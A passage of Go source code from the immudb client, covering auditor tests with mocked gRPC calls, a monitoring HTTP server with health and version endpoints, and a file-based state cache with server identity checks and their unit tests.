logger.NewSimpleLogger("test", &wm), nil) require.NoError(t, err) err = auditor.(*defaultAuditor).audit() require.NoError(t, err) require.GreaterOrEqual(t, len(wm.written), 1) require.Contains(t, wm.written[len(wm.written)-1], "some login error") } func TestDefaultAuditorDatabaseListErr(t *testing.T) { defer os.RemoveAll(dirname) serviceClient := clienttest.ImmuServiceClientMock{ LoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: ""}, nil }, LogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, DatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return nil, errors.New("some database list error") }, } wm := writerMock{} auditor, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, &serviceClient, state.NewUUIDProvider(&serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", &wm), nil) require.NoError(t, err) err = auditor.(*defaultAuditor).audit() require.NoError(t, err) require.GreaterOrEqual(t, len(wm.written), 1) require.Contains(t, wm.written[len(wm.written)-1], "some database list error") } func TestDefaultAuditorDatabaseListEmpty(t *testing.T) { defer os.RemoveAll(dirname) serviceClient := clienttest.ImmuServiceClientMock{ LoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: ""}, nil }, LogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, DatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: nil, }, nil }, } wm := writerMock{} auditor, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, &serviceClient, state.NewUUIDProvider(&serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", &wm), nil) require.NoError(t, err) err = auditor.(*defaultAuditor).audit() require.NoError(t, err) require.GreaterOrEqual(t, len(wm.written), 1) require.Contains(t, wm.written[len(wm.written)-1], "no databases to audit found") } func TestDefaultAuditorUseDatabaseErr(t *testing.T) { defer os.RemoveAll(dirname) serviceClient := clienttest.ImmuServiceClientMock{ LoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: ""}, nil }, LogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, DatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{{DatabaseName: "someDB"}}, }, nil }, UseDatabaseF: func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) { return nil, errors.New("some use database error") }, } wm := writerMock{} auditor, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, &serviceClient, state.NewUUIDProvider(&serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", &wm), nil) require.NoError(t, err) err = auditor.(*defaultAuditor).audit() require.NoError(t, err) require.GreaterOrEqual(t, len(wm.written), 1) require.Contains(t, wm.written[len(wm.written)-1], "some use database error") } func TestDefaultAuditorCurrentRootErr(t *testing.T) { defer os.RemoveAll(dirname) serviceClient := clienttest.ImmuServiceClientMock{ LoginF: func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{Token: ""}, nil }, LogoutF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return new(empty.Empty), nil }, DatabaseListF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{{DatabaseName: "someDB"}}, }, nil }, UseDatabaseF: func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{Token: ""}, nil }, CurrentStateF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) { return nil, errors.New("some current state error") }, } wm := writerMock{} auditor, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, nil, AuditNotificationConfig{}, &serviceClient, state.NewUUIDProvider(&serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", &wm), nil) require.NoError(t, err) err = auditor.(*defaultAuditor).audit() require.NoError(t, err) require.GreaterOrEqual(t, len(wm.written), 1) require.Contains(t, wm.written[len(wm.written)-1], "some current state error") } func TestDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../../test/signer/ec1.pub") require.NoError(t, err) testDefaultAuditorRunOnDbWithInvalidSignature(t, pk, false) testDefaultAuditorRunOnDbWithInvalidSignature(t, pk, true) } func TestDefaultAuditorRunOnDbWithInvalidSignatureFromState(t *testing.T) { testDefaultAuditorRunOnDbWithInvalidSignature(t, nil, false) testDefaultAuditorRunOnDbWithInvalidSignature(t, nil, true) } func testDefaultAuditorRunOnDbWithInvalidSignature(t *testing.T, pk *ecdsa.PublicKey, withSignedState bool) { defer os.RemoveAll(dirname) serviceClient := &clienttest.ImmuServiceClientMock{} serviceClient.HealthF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.HealthResponse, error) { return &schema.HealthResponse{Status: true, Version: "v1.0.0"}, nil } serviceClient.CurrentStateF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.ImmutableState, error) { currState := &schema.ImmutableState{} if withSignedState { currState.Signature = &schema.Signature{ Signature: []byte("invalid signature"), PublicKey: []byte("invalid public key"), } } return currState, nil } serviceClient.LoginF = func(ctx context.Context, in *schema.LoginRequest, opts ...grpc.CallOption) (*schema.LoginResponse, error) { return &schema.LoginResponse{ Token: "token", }, nil } serviceClient.DatabaseListF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*schema.DatabaseListResponse, error) { return &schema.DatabaseListResponse{ Databases: []*schema.Database{{DatabaseName: "sysdb"}}, }, nil } serviceClient.UseDatabaseF = func(ctx context.Context, in *schema.Database, opts ...grpc.CallOption) (*schema.UseDatabaseReply, error) { return &schema.UseDatabaseReply{ Token: "sometoken", }, nil } serviceClient.LogoutF = func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) { return &empty.Empty{}, nil } da, err := DefaultAuditor( time.Duration(0), fmt.Sprintf("%s:%d", "address", 0), []grpc.DialOption{ grpc.WithTransportCredentials(insecure.NewCredentials()), }, "immudb", "immudb", nil, pk, AuditNotificationConfig{}, serviceClient, state.NewUUIDProvider(serviceClient), cache.NewHistoryFileCache(dirname), func(string, string, bool, bool, bool, *schema.ImmutableState, *schema.ImmutableState) {}, logger.NewSimpleLogger("test", os.Stdout), nil) require.NoError(t, err) auditorDone := make(chan struct{}, 2) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) err = da.Run(time.Duration(10), true, context.Background().Done(), auditorDone) require.NoError(t, err) } func TestPublishAuditNotification(t *testing.T) { notificationConfig := AuditNotificationConfig{ URL: "http://some-non-existent-url.com", Username: "some-username", Password: "some-password", PublishFunc: func(req *http.Request) (*http.Response, error) { return &http.Response{ Status: http.StatusText(http.StatusNoContent), StatusCode: http.StatusNoContent, Body: ioutil.NopCloser(strings.NewReader("All good")), }, nil }, } a := &defaultAuditor{notificationConfig: notificationConfig} runAt, err := time.Parse(time.RFC3339, "2020-11-13T00:53:42+01:00") require.NoError(t, err) // test happy path err = a.publishAuditNotification( "some-db", runAt, true, &State{Tx: 1, Hash: "hash-1"}, &State{Tx: 2, Hash: "hash-2"}, ) require.NoError(t, err) // test unexpected HTTP status code a.notificationConfig.PublishFunc = func(req *http.Request) (*http.Response, error) { return &http.Response{ Status: http.StatusText(http.StatusInternalServerError), StatusCode: http.StatusInternalServerError, Body: ioutil.NopCloser(strings.NewReader("Some error")), }, nil } err = a.publishAuditNotification( "some-db2", runAt, false, &State{ Tx: 11, Hash: "hash-11", Signature: Signature{Signature: "sig11", PublicKey: "pk11"}}, &State{ Tx: 22, Hash: "hash-22", Signature: Signature{Signature: "sig22", PublicKey: "pk22"}}, ) require.ErrorContains( t, err, "POST http://some-non-existent-url.com request with payload") require.ErrorContains( t, err, "got unexpected response status Internal Server Error with response body Some error") require.NotContains(t, err.Error(), notificationConfig.Password) // test error creating request a.notificationConfig.RequestTimeout = 1 * time.Second a.notificationConfig.URL = string([]byte{0}) err = a.publishAuditNotification( "some-db4", runAt, true, &State{Tx: 1111, Hash: "hash-1111"}, &State{Tx: 2222, Hash: "hash-2222"}, ) require.ErrorContains(t, err, "invalid control character in URL") } ================================================ FILE: pkg/client/auditor/monitoring_server.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auditor import ( "context" "encoding/json" "expvar" "net/http" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/ptypes/empty" "github.com/prometheus/client_golang/prometheus/promhttp" ) func StartHTTPServerForMonitoring( addr string, listenAndServe func(server *http.Server) error, l logger.Logger, immuServiceClient schema.ImmuServiceClient, ) *http.Server { mux := http.NewServeMux() promhttpHander := corsHandler(promhttp.Handler()) mux.Handle("/", promhttpHander) mux.Handle("/metrics", promhttpHander) mux.Handle("/debug/vars", corsHandler(expvar.Handler())) mux.HandleFunc("/initz", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient))) mux.HandleFunc("/readyz", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient))) mux.HandleFunc("/livez", corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClient))) mux.HandleFunc("/version", corsHandlerFunc(AuditorVersionHandlerFunc)) server := &http.Server{Addr: addr, Handler: mux} go func() { if err := listenAndServe(server); err != nil { if err == http.ErrServerClosed { l.Debugf("auditor monitoring HTTP server closed") } else { l.Errorf("auditor monitoring HTTP server error: %s", err) } } }() return server } type HealthResponse struct { Immudb string `json:"immudb"` } func AuditorHealthHandlerFunc(immuServiceClient schema.ImmuServiceClient) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { httpStatus := http.StatusOK healthResp := HealthResponse{"OK"} health, err := immuServiceClient.Health(context.Background(), new(empty.Empty)) if err != nil { httpStatus = http.StatusServiceUnavailable healthResp.Immudb = err.Error() } else if !health.GetStatus() { httpStatus = http.StatusServiceUnavailable healthResp.Immudb = "unhealthy" } writeJSONResponse(w, r, httpStatus, &healthResp) } } // VersionResponse ... type VersionResponse struct { Component string `json:"component" example:"immudb"` Version string `json:"version" example:"1.0.1-c9c6495"` BuildTime string `json:"buildtime" example:"1604692129"` BuiltBy string `json:"builtby,omitempty"` Static bool `json:"static"` FIPS bool `json:"fips"` } var Version VersionResponse func AuditorVersionHandlerFunc(w http.ResponseWriter, r *http.Request) { writeJSONResponse(w, r, 200, &Version) } func corsHandler(handler http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { addCORSHeaders(w, r) handler.ServeHTTP(w, r) }) } func corsHandlerFunc(handlerFunc http.HandlerFunc) http.HandlerFunc { return func(w http.ResponseWriter, r *http.Request) { addCORSHeaders(w, r) handlerFunc(w, r) } } func addCORSHeaders(w http.ResponseWriter, r *http.Request) { // Set CORS headers for the preflight request if r.Method == http.MethodOptions { w.Header().Set("Access-Control-Allow-Origin", "*") w.Header().Set("Access-Control-Allow-Methods", "GET") w.Header().Set( "Access-Control-Allow-Headers", "Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Credentials") w.WriteHeader(http.StatusNoContent) return } // Set CORS headers for the main request. w.Header().Set("Access-Control-Allow-Origin", "*") } func writeJSONResponse( w http.ResponseWriter, r *http.Request, statusCode int, body interface{}) { w.Header().Set("Content-Type", "application/json") w.WriteHeader(statusCode) json.NewEncoder(w).Encode(body) } ================================================ FILE: pkg/client/auditor/monitoring_server_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package auditor import ( "context" "encoding/json" "errors" "fmt" "net/http" "net/http/httptest" "os" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/client/clienttest" "github.com/golang/protobuf/ptypes/empty" "github.com/prometheus/client_golang/prometheus/promhttp" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestStartHTTPServerForMonitoring(t *testing.T) { // happy path httpServer := StartHTTPServerForMonitoring( "", func(hs *http.Server) error { return nil }, nil, nil) require.NotNil(t, httpServer) l := logger.NewSimpleLogger("monitor_server_test", os.Stderr) // "server closed" error path StartHTTPServerForMonitoring( "", func(hs *http.Server) error { return http.ErrServerClosed }, l, nil) require.NotNil(t, httpServer) // some other listen and serve error httpServer = StartHTTPServerForMonitoring( "", func(hs *http.Server) error { return errors.New("some unexpected error") }, l, nil) require.NotNil(t, httpServer) } func TestAuditorHealthHandlerFunc(t *testing.T) { req, err := http.NewRequest("GET", "/initz", nil) require.NoError(t, err) testCases := []struct { status bool err error code int body string }{ {true, nil, http.StatusOK, "OK"}, {false, errors.New("some health error"), http.StatusServiceUnavailable, "some health error"}, {false, nil, http.StatusServiceUnavailable, "unhealthy"}, } for _, tc := range testCases { t.Run(fmt.Sprintf("%d %s: %s", tc.code, http.StatusText(tc.code), tc.body), func(t *testing.T) { rr := httptest.NewRecorder() immuServiceClientMock := &clienttest.ImmuServiceClientMock{ HealthF: func(context.Context, *empty.Empty, ...grpc.CallOption) (*schema.HealthResponse, error) { return &schema.HealthResponse{Status: tc.status}, tc.err }, } handler := corsHandlerFunc(AuditorHealthHandlerFunc(immuServiceClientMock)) handler.ServeHTTP(rr, req) require.Equal(t, tc.code, rr.Code) expectedBody, _ := json.Marshal(&HealthResponse{tc.body}) require.Equal(t, string(expectedBody)+"\n", rr.Body.String()) }) } } func TestAuditorVersionHandlerFunc(t *testing.T) { // test OPTIONS /version req, err := http.NewRequest("OPTIONS", "/version", nil) require.NoError(t, err) rr := httptest.NewRecorder() handler := corsHandlerFunc(AuditorVersionHandlerFunc) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusNoContent, rr.Code) // test GET /version Version = VersionResponse{ Component: "immudb", Version: "1.2.3", BuildTime: time.Now().Format(time.RFC3339), BuiltBy: "SomeBuilder", Static: true, } req, err = http.NewRequest("GET", "/version", nil) require.NoError(t, err) rr = httptest.NewRecorder() handler = corsHandlerFunc(AuditorVersionHandlerFunc) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusOK, rr.Code) expectedBody, _ := json.Marshal(&Version) require.Equal(t, string(expectedBody)+"\n", rr.Body.String()) } func TestCORSHandler(t *testing.T) { rr := httptest.NewRecorder() req, err := http.NewRequest("GET", "/metrics", nil) require.NoError(t, err) handler := corsHandler(promhttp.Handler()) handler.ServeHTTP(rr, req) require.Equal(t, http.StatusOK, rr.Code) } ================================================ FILE: pkg/client/cache/cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "errors" "github.com/codenotary/immudb/pkg/api/schema" ) var ErrCacheNotLocked = errors.New("cache is not locked") var ErrCacheAlreadyLocked = errors.New("cache is already locked") var ErrServerIdentityValidationFailed = errors.New("failed to validate the identity of the server") // Cache the cache interface type Cache interface { Get(serverUUID, db string) (*schema.ImmutableState, error) Set(serverUUID, db string, state *schema.ImmutableState) error Lock(serverUUID string) error Unlock() error // ServerIdentityCheck check validates that a server with given identity can use given server uuid // // `serverIdentity` must uniquely identify given immudb server instance. // Go SDK passes `host:port` pair as the server identity however the Cache interface implementation // must not do any assumptions about the structure of this data. ServerIdentityCheck(serverIdentity, serverUUID string) error } // HistoryCache the history cache interface type HistoryCache interface { Cache Walk(serverUUID string, db string, f func(*schema.ImmutableState) interface{}) ([]interface{}, error) } ================================================ FILE: pkg/client/cache/common.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "crypto/sha256" "encoding/base64" "encoding/json" "fmt" "os" "path/filepath" "github.com/rogpeppe/go-internal/lockedfile" ) const ( IDENTITY_FN = ".identity-" identityHashBytes = 16 ) func getFilenameForServerIdentity(serverIdentity, identityDir string) string { identityHashRaw := sha256.Sum256([]byte(serverIdentity)) identityHash := base64.RawURLEncoding.EncodeToString(identityHashRaw[:identityHashBytes]) return filepath.Join(identityDir, IDENTITY_FN+identityHash) } func validateServerIdentityInFile(serverIdentity string, serverUUID string, identityDir string) error { identityFile := getFilenameForServerIdentity(serverIdentity, identityDir) fl, err := lockedfile.OpenFile(identityFile, os.O_RDWR|os.O_CREATE, 0655) if err != nil { return fmt.Errorf("could not check the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } defer fl.Close() identityDataJson := struct { ServerUUID string `json:"serverUUID"` ServerIdentity string `json:"serverIdentity"` }{} stat, err := fl.Stat() if err != nil { return fmt.Errorf("could not check the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } if stat.Size() == 0 { // File is empty - which may mean that it was just created, // write the new identity data identityDataJson.ServerUUID = serverUUID identityDataJson.ServerIdentity = serverIdentity enc := json.NewEncoder(fl) enc.SetIndent("", "\t") err := enc.Encode(&identityDataJson) if err != nil { return fmt.Errorf("could not store the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } err = fl.Close() if err != nil { return fmt.Errorf("could not store the identity of the server '%s' in file '%s': %w", serverIdentity, identityFile, err) } return nil } // File exists and is not empty, check if the server UUID matches // what is already stored in the file. err = json.NewDecoder(fl).Decode(&identityDataJson) if err != nil { return fmt.Errorf( "could not check the identity of the server '%s' in file '%s': %w, "+ "if you still want to connect to a different immudb server instance with the same identity, "+ "please remove the identity file", serverIdentity, identityFile, err, ) } if identityDataJson.ServerUUID != serverUUID { return fmt.Errorf( "could not check the identity of the server '%s' in file '%s': %w, "+ "if you still want to connect to a different immudb server instance with the same identity, "+ "please remove the identity file", serverIdentity, identityFile, ErrServerIdentityValidationFailed, ) } return nil } ================================================ FILE: pkg/client/cache/common_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "encoding/json" "io/ioutil" "testing" "github.com/stretchr/testify/require" ) func TestValidateServerIdentityInFile(t *testing.T) { identityDir := t.TempDir() t.Run("creating new identity files must not fail", func(t *testing.T) { err := validateServerIdentityInFile("identity1", "uuid1", identityDir) require.NoError(t, err) err = validateServerIdentityInFile("identity2", "uuid2", identityDir) require.NoError(t, err) }) t.Run("validating server identity for already known server must not fail", func(t *testing.T) { err := validateServerIdentityInFile("identity1", "uuid1", identityDir) require.NoError(t, err) err = validateServerIdentityInFile("identity2", "uuid2", identityDir) require.NoError(t, err) }) t.Run("validating server identity for wrong server must fail", func(t *testing.T) { err := validateServerIdentityInFile("identity1", "uuid2", identityDir) require.ErrorIs(t, err, ErrServerIdentityValidationFailed) err = validateServerIdentityInFile("identity2", "uuid1", identityDir) require.ErrorIs(t, err, ErrServerIdentityValidationFailed) }) } func TestValidateServerIdentityInFileCornerCases(t *testing.T) { t.Run("fail to validate identity file with invalid path", func(t *testing.T) { err := validateServerIdentityInFile("identity1", "uuid1", "/invalid/folder/name?") require.ErrorContains(t, err, "could not check the identity of the server") // This is not validation error, it's some OS error require.NotErrorIs(t, err, ErrServerIdentityValidationFailed) }) t.Run("fail to validate identity file with broken content", func(t *testing.T) { identityDir := t.TempDir() err := ioutil.WriteFile( getFilenameForServerIdentity("identity1", identityDir), []byte("this is not a json content!!!"), 0644, ) require.NoError(t, err) err = validateServerIdentityInFile("identity1", "uuid1", identityDir) var jsonError *json.SyntaxError require.ErrorAs(t, err, &jsonError) require.NotErrorIs(t, err, ErrServerIdentityValidationFailed) }) } ================================================ FILE: pkg/client/cache/errors.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import "errors" var ( ErrPrevStateNotFound = errors.New("could not find previous state") ErrLocalStateCorrupted = errors.New("local state is corrupted") ErrNotImplemented = errors.New("no implemented") ) ================================================ FILE: pkg/client/cache/file_cache.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cache import ( "bufio" "bytes" "encoding/base64" "io" "os" "path/filepath" "strings" "github.com/codenotary/immudb/pkg/api/schema" "github.com/golang/protobuf/proto" "github.com/rogpeppe/go-internal/lockedfile" ) // STATE_FN ... const STATE_FN = ".state-" type fileCache struct { Dir string stateFile *lockedfile.File } // NewFileCache returns a new file cache func NewFileCache(dir string) Cache { return &fileCache{Dir: dir} } func (w *fileCache) Get(serverUUID string, db string) (*schema.ImmutableState, error) { if w.stateFile == nil { return nil, ErrCacheNotLocked } _, err := w.stateFile.Seek(0, io.SeekStart) if err != nil { return nil, err } scanner := bufio.NewScanner(w.stateFile) scanner.Split(bufio.ScanLines) for scanner.Scan() { line := scanner.Text() if !strings.HasPrefix(line, db+":") { continue } oldState, err := base64.StdEncoding.DecodeString(line[len(db)+1:]) if err != nil { return nil, ErrLocalStateCorrupted } if len(oldState) == 0 { return nil, ErrLocalStateCorrupted } state := &schema.ImmutableState{} if err = proto.Unmarshal(oldState, state); err != nil { return nil, ErrLocalStateCorrupted } return state, nil } return nil, ErrPrevStateNotFound } func (w *fileCache) Set(serverUUID string, db string, state *schema.ImmutableState) error { if w.stateFile == nil { return ErrCacheNotLocked } raw, err := proto.Marshal(state) if err != nil { return err } newState := db + ":" + base64.StdEncoding.EncodeToString(raw) var exists bool _, err = w.stateFile.Seek(0, io.SeekStart) if err != nil { return err } scanner := bufio.NewScanner(w.stateFile) scanner.Split(bufio.ScanLines) var lines [][]byte for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, db+":") { exists = true lines = append(lines, []byte(newState)) } else { lines = append(lines, []byte(line)) } } if !exists { lines = append(lines, []byte(newState)) } output := bytes.Join(lines, []byte("\n")) _, err = w.stateFile.Seek(0, io.SeekStart) if err != nil { return err } err = w.stateFile.Truncate(0) if err != nil { return err } _, err = w.stateFile.Write(output) if err != nil { return err } return nil } func (w *fileCache) Lock(serverUUID string) (err error) { w.stateFile, err = lockedfile.OpenFile(w.getStateFilePath(serverUUID), os.O_RDWR|os.O_CREATE, 0655) return err } func (w *fileCache) Unlock() (err error) { if w.stateFile != nil { return w.stateFile.Close() } return nil } func (w *fileCache) ServerIdentityCheck(serverIdentity, serverUUID string) error { return validateServerIdentityInFile( serverIdentity, serverUUID, w.Dir, ) } func (w *fileCache) getStateFilePath(UUID string) string { return filepath.Join(w.Dir, STATE_FN+UUID) } ================================================ FILE: pkg/client/cache/file_cache_test.go ================================================ package cache import ( "encoding/base64" "fmt" "io/ioutil" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestNewFileCache(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) require.IsType(t, &fileCache{}, fc) } func TestFileCacheSetErrorNotLocked(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) err := fc.Set("uuid", "dbName", &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: nil, }) require.ErrorIs(t, err, ErrCacheNotLocked) } func TestFileCacheSet(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) err := fc.Lock("uuid") require.NoError(t, err) defer fc.Unlock() err = fc.Set("uuid", "dbName", &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: nil, }) require.NoError(t, err) } func TestFileCacheGet(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) err := fc.Lock("uuid") require.NoError(t, err) defer fc.Unlock() err = fc.Set("uuid", "dbName", &schema.ImmutableState{ TxId: 0, TxHash: []byte(`hash`), Signature: nil, }) require.NoError(t, err) st, err := fc.Get("uuid", "dbName") require.NoError(t, err) require.Equal(t, []byte(`hash`), st.TxHash) } func TestFileCacheGetFailNotLocked(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) _, err := fc.Get("uuid", "dbName") require.ErrorIs(t, err, ErrCacheNotLocked) } func TestFileCacheGetSingleLineError(t *testing.T) { dirname := t.TempDir() dbName := "dbt" err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"), 0666) require.NoError(t, err) fc := NewFileCache(dirname) err = fc.Lock("test") require.NoError(t, err) defer fc.Unlock() _, err = fc.Get("test", dbName) require.ErrorIs(t, err, ErrLocalStateCorrupted) } func TestFileCacheGetRootUnableToDecodeErr(t *testing.T) { dirname := t.TempDir() dbName := "dbt" err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":firstLine"), 0666) require.NoError(t, err) fc := NewFileCache(dirname) err = fc.Lock("test") require.NoError(t, err) defer fc.Unlock() _, err = fc.Get("test", dbName) require.ErrorIs(t, err, ErrLocalStateCorrupted) } func TestFileCacheGetRootUnmarshalErr(t *testing.T) { dirname := t.TempDir() dbName := "dbt" err := ioutil.WriteFile(dirname+"/.state-test", []byte(dbName+":"+base64.StdEncoding.EncodeToString([]byte("wrong-content"))), 0666) require.NoError(t, err) fc := NewFileCache(dirname) err = fc.Lock("test") require.NoError(t, err) defer fc.Unlock() _, err = fc.Get("test", dbName) require.ErrorIs(t, err, ErrLocalStateCorrupted) } func TestFileCacheGetEmptyFile(t *testing.T) { dirname := t.TempDir() dbName := "dbt" err := ioutil.WriteFile(dirname+"/.state-test", []byte(""), 0666) require.NoError(t, err) fc := NewFileCache(dirname) err = fc.Lock("test") require.NoError(t, err) defer fc.Unlock() _, err = fc.Get("test", dbName) require.ErrorIs(t, err, ErrPrevStateNotFound) } func TestFileCacheOverwriteHash(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) err := fc.Lock("test") require.NoError(t, err) defer fc.Unlock() err = fc.Set("test", "db1", &schema.ImmutableState{TxHash: []byte("hash1")}) require.NoError(t, err) st, err := fc.Get("test", "db1") require.NoError(t, err) require.Equal(t, []byte("hash1"), st.TxHash) err = fc.Set("test", "db1", &schema.ImmutableState{TxHash: []byte("hash2")}) require.NoError(t, err) st, err = fc.Get("test", "db1") require.NoError(t, err) require.Equal(t, []byte("hash2"), st.TxHash) } func TestFileCacheMultipleDatabases(t *testing.T) { dirname := t.TempDir() fc := NewFileCache(dirname) err := fc.Lock("test") require.NoError(t, err) defer fc.Unlock() for i := 0; i < 1000; i++ { db := fmt.Sprintf("db%d", i) hash := 